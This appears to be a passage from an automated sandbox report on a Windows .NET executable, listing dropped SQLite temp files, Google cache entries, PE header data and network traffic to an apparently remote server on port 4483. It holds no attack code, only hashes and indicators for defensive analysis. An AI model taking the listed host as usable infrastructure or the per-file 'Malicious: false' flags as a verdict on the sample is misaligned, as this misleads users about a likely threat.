Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFB47.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFB58.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFB69.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFB6A.tmp

Download File

Process:	C:\Users\user\Desktop\SW3uxM7BXI.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2294)
Category:	downloaded
Size (bytes):	163286
Entropy (8bit):	5.544045381504343
Encrypted:	false
SSDEEP:	3072:CMiFOP4roKgkk/EFZMQbxjZW1BKo6JMI6l0nt8Uv1ziwtXOmDsY+WwYLF/HrY7+A:CMiroKfbMQbxjZW1BKo6JMI6l0nt8Uvq
MD5:	9D9987F6E83F101A097A0BD64A14C71B
SHA1:	E71E10897E0E874DE4D12125D5DF2F7FCE08F585
SHA-256:	D0975FC00A61201A54714BE8DF5E50F02B277E133BA08ABD9DEEA33934FA28A9
SHA-512:	5AE557145F0E0FF3E768AFC63B3E4855F53DCA49D46A22ACB169CC6DC58FF2B11C776B419141EB12C8B0CF7BBD16E928F9EE5AF5014DD976130B00A1995B325E
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ics7SFQVxbg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTtpRznzVJk75Y4TcT-zpGGUjebtAg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.cj=function(a,b,c){return c?a\|b:a&~b};_.dj=function(a,b,c,d){a=_.jb(a,b,c,d);return Array.isArray(a)?a:_.kc};_.ej=function(a,b){a=_.cj(a,2,!!(2&b));a=_.cj(a,32,!0);return a=_.cj(a,2048,!1)};_.fj=function(a,b){0===a&&(a=_.ej(a,b));return a=_.cj(a,1,!0)};_.gj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.hj=function(a,b,c){32&b&&c\|\|(a=_.cj(a,32,!1));return a};._.ij=function(a,b,c,d,e,f){var g=!!(2&b),h=g?1:2;const k=1===h;h=2===h;e=!!e;f&&(f=!g);g=_.dj(a,b,d);var l=g[_.v]\|0;const n=!!(4&l);if(!n){l=_.fj(l,b);var p=g,t=b,r;(r=!!(2&l))&&(t=_.cj(t,2,!0));let B=!r,aa=!0,K=0,F=0;for(;K<p.length;K++){const ba=_.Ua(p[K],c,t);if(ba instanceof c){if(!r){const Ca=!!((ba.ka[_.v]\|0)&2);B&&(B=!Ca);aa&&(aa=Ca)}p[F++]=ba}}F<K&&(p.length=F);l=_.cj(l,4,!0);l=_.cj(l,16,aa);l=_.cj(l,8,B);_.ya(p,l);r&&Object.freeze(p)}c=!!(8&l)\|\|k&&!g.length;if(f&&!c){_.gj(l)&&(g=_.xa(g),.l=_.ej(l,b),b=_.ib(a,b,d,g));f=g;c=l;for(p=0;p<f.length;p++)l=f[p],t=_

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2536)
Category:	downloaded
Size (bytes):	2541
Entropy (8bit):	5.84637527888898
Encrypted:	false
SSDEEP:	48:2Y7q8mEGKlgZ01nsVkKLGiOphxtwW3hyZtEFpW4BJBrz2D2vh5aAuSEqmfffffX:Vq8myli7kKLGiUjmEFpHqqvqfffffX
MD5:	15078917343FC64CBB50F8C6AB08A51F
SHA1:	2728B7DFDDE62CFFA8FC0CFB128433A40D06B90B
SHA-256:	43863456221F930BB1D3E080314EC65F5647CA0C4D4EEC2695D246220E9D4746
SHA-512:	B68E3DD88EE4F0CB19F3C0E07AFFB78293F824B69B1A720E27FE560CDE3F1A2655853519C5932ED1B96FEBE68A291AC87F600B26D1767989B78E1B7A658B3116
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["sam ash music stores closing","wordle answers","arsenal vs bournemouth predictions","apple iphone alarms","texas tornadoes","tesla supercharger","dallas cowboys","mw3 warzone reload bug"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMjg5NhINRm9vdGJhbGwgdGVhbTK2CWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBOUNBTUFBQUFxQzUvekFBQUFhVkJNVkVYLy8vOEFJa1FBQUNGNWY0Mk9rNTRBRHpvQUFDTUFBQjhBQUNrQUFEQUFBQzNTMU5qdzhmSUFGVDBBQUNVQUFETUFBRFlBSFVGQlRXT3RzTGpBdzhnQUNEaW1xckxIeWM1ZmFIa0FHa0FpTTFCTVZtcTZ2Y05WWDNGdWRvV2VvNnd6UVZubDV1Z1lMRXNocnVwZEFBQUN5a2xFUVZSSWlhVlhhZHRyTUJBZFN5S3lvTlJXYXZ2L1AvSk9VRTlmdGVSeXZpWno1TXdPNEJoU25sdzRRNUxjSkhpL2J4SXdkcysranFMNkZrRkJTSEdMZ0JYRkxRMVBXdGYwZVlPZzhhVDBtaHNFdkFLbytIWDduQ1pTSmpTL1RPQjRNa21rNTF3bUNHT2RpWEY0M

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3572), with no line terminators
Category:	downloaded
Size (bytes):	3572
Entropy (8bit):	5.140651484312947
Encrypted:	false
SSDEEP:	48:vZUJVKLICJEconBdpZUvGCUvGULHg7OTehn5hsbrc7g8IO8u0Y8D2n:yJYI/coXqCg7OSfg8IO8uB8D2n
MD5:	122C0858F7D38991F14E5ADC6BDB3C3B
SHA1:	FFC64755EB42990A73C4878426A641CFB94B57EE
SHA-256:	06D1296A6F6611AC795B27882FE88823EE857D0F49F7018CF00C6A199976DC0D
SHA-512:	149A1FB533C8C7D5EA363B80982DC1EC4C39E5EF9BB37E45BC80E105B18C3FA4DC610449BBD70DE9B9AC7339FEBBBD4FF76C2A9D1FD104D1943A386539AC4D44
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.RS0dNtaZmo0.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuhe2hCYlalU7rKCW-qT_-zMhVRaw"
Preview:	.gb_2e{background:rgba(60,64,67,.9);-webkit-border-radius:4px;border-radius:4px;color:#fff;font:500 12px "Roboto",arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-height:14px;padding:4px 8px;position:absolute;z-index:1000;-webkit-font-smoothing:antialiased}.gb_Fc{text-align:left}.gb_Fc>*{color:#bdc1c6;line-height:16px}.gb_Fc div:first-child{color:white}.gb_pa{background:none;border:1px solid transparent;-webkit-border-radius:50%;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;height:40px;margin:8px;outline:none;padding:1px;position:absolute;right:0;top:0;width:40px}.gb_pa:hover{background-color:rgba(68,71,70,.08)}.gb_pa:focus,.gb_pa:active{background-color:rgba(68,71,70,.12)}.gb_pa:focus-visible{border-color:#0b57d0;outline:1px solid transparent;outline-offset:-1px}.gb_i .gb_pa:hover,.gb_i .gb_pa:focus,.gb_i .gb_pa:active{background-color:rgba(227,227,227,.08)}.gb_i .gb_pa:focus-visible{border-color:#a8c7fa}.gb_qa{-webkit-box

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	137077
Entropy (8bit):	5.441285503099276
Encrypted:	false
SSDEEP:	1536:jdGuEymn2zuFRDP6nWysx3DMqPKnrzNSpGiV1p+RHPGb4gujpT8jZRLM9rZxMkPr:DInoap3DTKnrQpG4nQUduu6ZxMkmwXd
MD5:	AE99D6F607F74199AA5C13CE7D300281
SHA1:	344FC9D4260F882A4857C90801390D0C8CD890E0
SHA-256:	F189A03D8424B8CE6B79EB2BD43795909651A4DAA4902B2911644980991E2C8F
SHA-512:	9E1B07DCA2F931F2B4981192B42A96B8A9CCC9D4237FD108367F8E5CEA3A08F10FD5E3BD89CA5EB4D5EF48AC90150E7EB251D0A1641CE191D3A14FA4F46B8AB4
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Qa gb_hb gb_Td gb_nd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Hd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_rd gb_kd gb_xd gb_wd\"\u003e\u003cdiv class\u003d\"gb_qd gb_gd\"\u003e\u003cdiv class\u003d\"gb_Oc gb_q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Oc gb_Rc gb_q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2124)
Category:	downloaded
Size (bytes):	121628
Entropy (8bit):	5.506662476672723
Encrypted:	false
SSDEEP:	3072:QI9yvwslCsrCF9f/U2Dj3Fkk7rEehA5L1kx:l9ygsrieDkVaL1kx
MD5:	F46ACD807A10216E6EEE8EA51E0F14D6
SHA1:	4702F47070F7046689432DCF605F11364BC0FBED
SHA-256:	D6B84873D27E7E83CF5184AAEF778F1CCB896467576CD8AF2CAD09B31B3C6086
SHA-512:	811263DC85C8DAA3A6E5D8A002CCCB953CD01E6A77797109835FE8B07CABE0DEE7EB126274E84266229880A90782B3B016BA034E31F0E3B259BF9E66CA797028
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);.var ba,ca,da,na,pa,va,wa,za;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=da(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)re

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960604593272564
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SW3uxM7BXI.exe
File size:	97'792 bytes
MD5:	bc62af43befe5b458c1e7b9e729d71ac
SHA1:	4a099f2b18e35c276535987725fae6461156b728
SHA256:	60f193b86ba9ea22fd17a6c0446f795b81f9b3e7458d5d03d5d83a0eb6d08b7d
SHA512:	0c05e4da00179a4e105319429b5f3daee0689894091ef9ba64a1fc7cd25db6d06cb5e8ea055896fd55dc86dbbd7f4739c5a2de76e8fc4871de73c74852255cd6
SSDEEP:	1536:9qs+XqrzWBlbG6jejoigI343Ywzi0Zb78ivombfexv0ujXyyed2K3tmulgS6pY:r0gzWHY3+zi0ZbYe1g0ujyzdQY
TLSH:	3DA35D3067AC9F19EAFD1B74B4B2012043F0E48A9091FB4B4DC154E61FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t............... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41932e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192e0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17334	0x17400	733851acfca3b5c8da0b718917e7ba36	False	0.44868321572580644	data	6.015664890352844	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	5d15b3ed438a3ab0253bd60fcc035f5d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2024 07:21:45.096576929 CEST	49675	443	192.168.2.4	173.222.162.32
May 4, 2024 07:21:47.221416950 CEST	49678	443	192.168.2.4	104.46.162.224
May 4, 2024 07:21:48.402973890 CEST	49730	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:48.709165096 CEST	4483	49730	185.223.28.15	192.168.2.4
May 4, 2024 07:21:48.709371090 CEST	49730	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:49.015543938 CEST	4483	49730	185.223.28.15	192.168.2.4
May 4, 2024 07:21:49.079564095 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:49.387933016 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:49.388200998 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:49.413552999 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:49.721998930 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:49.768277884 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:49.923193932 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:50.232736111 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:50.283900976 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:53.512831926 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.512847900 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.512875080 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.512876987 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.512949944 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.512974024 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.513747931 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.513755083 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.515535116 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.515546083 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.549448013 CEST	49737	443	192.168.2.4	142.250.68.4
